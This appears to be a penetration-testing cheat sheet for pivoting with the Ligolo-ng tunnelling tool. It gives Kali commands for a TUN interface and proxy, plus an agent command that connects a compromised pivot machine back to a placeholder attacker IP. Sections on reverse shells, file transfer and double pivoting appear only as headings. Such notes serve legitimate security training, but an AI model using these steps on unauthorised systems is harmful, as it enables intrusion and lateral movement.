
Ligolo-ng OG
Architecture
Component
Where it runs
Method A : Manual Setup (Recommended)
1. Create & Enable TUN Interface on Kali
sudo ip tuntap add user l1nuxkid mode tun ligolo
sudo ip link set ligolo up2. Start the Proxy on Kali
# Default (port 11601)
./proxy -selfcert
# Custom port
sudo ./proxy -selfcert -laddr 0.0.0.0:25 #well-known port3. Connect Agent from Pivot Machine
# Default port
.\agent.exe -connect <KALI_OVPN_IP>:11601 -ignore-cert
# Custom port
.\agent.exe -connect <KALI_OVPN_IP>:25 -ignore-cert4. Select Session and Start Tunnel
5. Add Route to Internal Network
6. Verify Access
Method B : Setup via Ligolo Console
Local Port Forwarding — Access Pivot's localhost
Reverse Shells via Listeners
Step 1 — Add Listener (in ligolo console)
Step 2 — Start Listener on Kali
Step 3 — Trigger Shell from Target (pointing to Pivot IP)
File Transfer via Listeners
Step 1 — Add Listener (in ligolo console)
Step 2 — Serve Files on Kali
Step 3 — Download on Target (pointing to Pivot IP)
Double Pivot — Chaining
Step 1 — Forward the Ligolo Port via Listener on Agent 1
Step 2 — Connect Agent 2 Through Pivot 1
Step 3 — Select Agent 2 Session and Add Route
Troubleshooting — Crash / File Exists Error
References
Resource
Notes
Last updated